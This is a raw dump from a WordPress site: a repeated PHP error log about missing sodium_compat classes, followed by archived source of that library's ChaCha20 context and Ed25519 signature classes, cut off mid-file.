[25-Sep-2025 22:02:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[25-Sep-2025 22:02:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[25-Sep-2025 22:14:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[25-Sep-2025 22:14:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[02-Oct-2025 10:42:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Oct-2025 10:42:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[02-Oct-2025 10:50:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Oct-2025 10:50:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[02-Nov-2025 08:32:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Nov-2025 08:32:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[02-Nov-2025 08:41:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Nov-2025 08:41:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[06-Dec-2025 18:49:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[06-Dec-2025 18:49:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[06-Dec-2025 19:00:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[06-Dec-2025 19:00:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[23-Dec-2025 11:47:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[23-Dec-2025 11:47:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[23-Dec-2025 12:03:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[23-Dec-2025 12:04:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[24-Dec-2025 15:03:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[24-Dec-2025 15:03:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[24-Dec-2025 15:25:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[24-Dec-2025 15:25:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[04-Jan-2026 10:11:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[04-Jan-2026 10:11:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[04-Jan-2026 10:20:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[04-Jan-2026 10:20:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[06-Jan-2026 01:23:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[06-Jan-2026 01:23:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[06-Jan-2026 01:35:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[06-Jan-2026 01:35:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[13-Jan-2026 06:30:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[13-Jan-2026 06:30:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-Jan-2026 00:01:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-Jan-2026 00:01:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[14-Jan-2026 00:19:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[14-Jan-2026 00:19:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[21-Feb-2026 02:57:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[21-Feb-2026 02:57:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
Core32/ChaCha20/.htaccess000064400000000000152222652550010644 0ustar00Core32/ChaCha20/IetfCtx.php000064400000002737152222652550011150 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core32_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4));
        }
        $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
        $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4));
    }
}
Core32/ChaCha20/Ctx.php000064400000011450152222652550010330 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core32_ChaCha20_Ctx extends ParagonIE_Sodium_Core32_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
        $this->container[1]  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
        $this->container[2]  = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
        $this->container[3]  = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));

        $this->container[4]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $this->container[5]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $this->container[6]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $this->container[7]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4));
        $this->container[8]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4));
        $this->container[9]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4));
        $this->container[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4));
        $this->container[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4));

        if (empty($counter)) {
            $this->container[12] = new ParagonIE_Sodium_Core32_Int32();
            $this->container[13] = new ParagonIE_Sodium_Core32_Int32();
        } else {
            $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4));
            $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4, 4));
        }
        $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int|ParagonIE_Sodium_Core32_Int32 $value
     * @return void
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if ($value instanceof ParagonIE_Sodium_Core32_Int32) {
            /*
        } elseif (is_int($value)) {
            $value = ParagonIE_Sodium_Core32_Int32::fromInt($value);
            */
        } else {
            throw new InvalidArgumentException('Expected an integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
Core32/Ed25519.php000064400000036567152222652550007277 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Ed25519', false)) {
    return;
}
if (!class_exists('ParagonIE_Sodium_Core32_Curve25519')) {
    require_once dirname(__FILE__) . '/Curve25519.php';
}

/**
 * Class ParagonIE_Sodium_Core32_Ed25519
 */
abstract class ParagonIE_Sodium_Core32_Ed25519 extends ParagonIE_Sodium_Core32_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be 32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small order');
        }
        $A = self::ge_frombytes_negate_vartime($pk);
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );


        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        self::hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        self::hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
            self::substr($pk, 0, 32) .
            $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32 bytes');
        }
        static $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        /** @var array<int, int> $L */
        $c = 0;
        $n = 1;
        $i = 32;

        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        static $blocklist = array(
            /* 0 (order 4) */
            array(
